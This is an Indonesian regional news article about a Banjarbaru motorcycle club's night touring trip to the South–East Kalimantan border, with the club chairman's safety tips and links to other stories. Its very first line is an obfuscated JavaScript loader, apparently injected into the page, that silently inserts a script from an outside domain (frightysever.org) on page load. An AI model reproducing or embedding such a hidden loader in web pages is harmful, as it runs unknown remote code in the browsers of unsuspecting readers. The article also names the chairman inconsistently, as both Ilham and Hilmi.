(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Melakukan perjalanan jarak jauh dengan sepeda motor bisa menjadi sarana rekreasi guna melepas kepenatan dan stres setelah saban hari bekerja keras. Menikmati sensasi mengendalikan “si kuda besi” berbagai jenis lintasan jalan yang dilalui tak hanya memberikan tantangan tersendiri tapi juga menghibur.
Terlebih lagi jika touring dilakukan pada malam hari yang membuat para pengendara harus ekstra waspada. Meskipun jalanan lebih lengang, para bikers -sebut untuk anggota klub motor-, kadang terlena untuk memacu kendaraannya dengan lebih kencang. Tak jarang menjadi penyebab terjadinya kecelakaan.
Ketua GSX Club Indonesia (GCI) Chapter Banjarbaru yang tergabung dalam Bold Riders Banjarmasin, Muhammad Ilham berbagi cerita dan tips seputar touring di malam hari. Untuk klub motor ia sendiri, pada tahun ini telah dua kali melakukan touring di malam hari.
Terbaru, dilakukan akhir pekan lalu dengan rute Banjarbaru-Tanjung-Puncak Perbatasan Kalsel-Kaltim yang berada di Kabupaten Tabalong. Touring tersebut menempuh jarak sekitar 250 kilometer.
“Jadi kami dari GCI Banjarbaru yang tergabung dalam Bold Riders Banjarmasin berangkat dari Banjarbaru pukul 18.00, bersama beberapa member dari Martapura. Kami melewati Mataraman, Rantau, Kandangan, dan Tanjung. Kami tiba di Bundaran Obor Tanjung mendekati jam 12 malam. Selepas beristirahat baru melanjutkan perjalanan di pagi hari menuju Puncak Perbatasan Kalsel-Kaltim,” ujar Hilmi, Minggu (12/7/2020).
Sepanjang perjalanan, bikers dari komunitas binaan Bold Riders Banjarmasin ini harus melewati hutan maupun sejumlah jalur ekstrim dengan tanjakan dan turunan tajam serta berkelok. Touring ini diikuti 6 motor dari Banjarbaru. Jumlah tersebut bertambah menjadi 17 motor, seiring dengan bergabungnya member dari Barabai dan Tanjung pada pagi harinya.
“Perjalanan malam hari ini menurut kami lebih enak karena jalanan sepi. Makanya kami senang melakukan touring malam hari,” tutur pria yang baru sebulan menjabat sebagai Ketua GCI Banjarbaru ini.
Menurut Hilmi, ada beberapa hal yang harus diperhatikan jika ingin melakukan touring di malam hari. Pertama, kondisi badan harus benar-benar fit. Sehari sebelum melakukan perjalanan malam, sebaiknya tidur di bawah jam 10 malam. Kemudian banyak minum vitamin, jangan sampai mengantuk di perjalanan.
“Selanjutnya cek kondisi motor seperti standar touring. Hanya saja, pencahayaan wajib benar-benar diperhatikan, apalagi jika rute yang ditempuh melewati hutan atau daerah yang penerangannya minim” imbuhnya.
Hal penting lain yang harus diperhatikan setiap member adalah menghormati sesama pengguna jalan. “Jangan ambil jalan orang, jangan nyalip sembarangan, sopan di jalan, dan selalu patuh dengan kode-kode dari pemimpin rombongan,” pungkasnya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.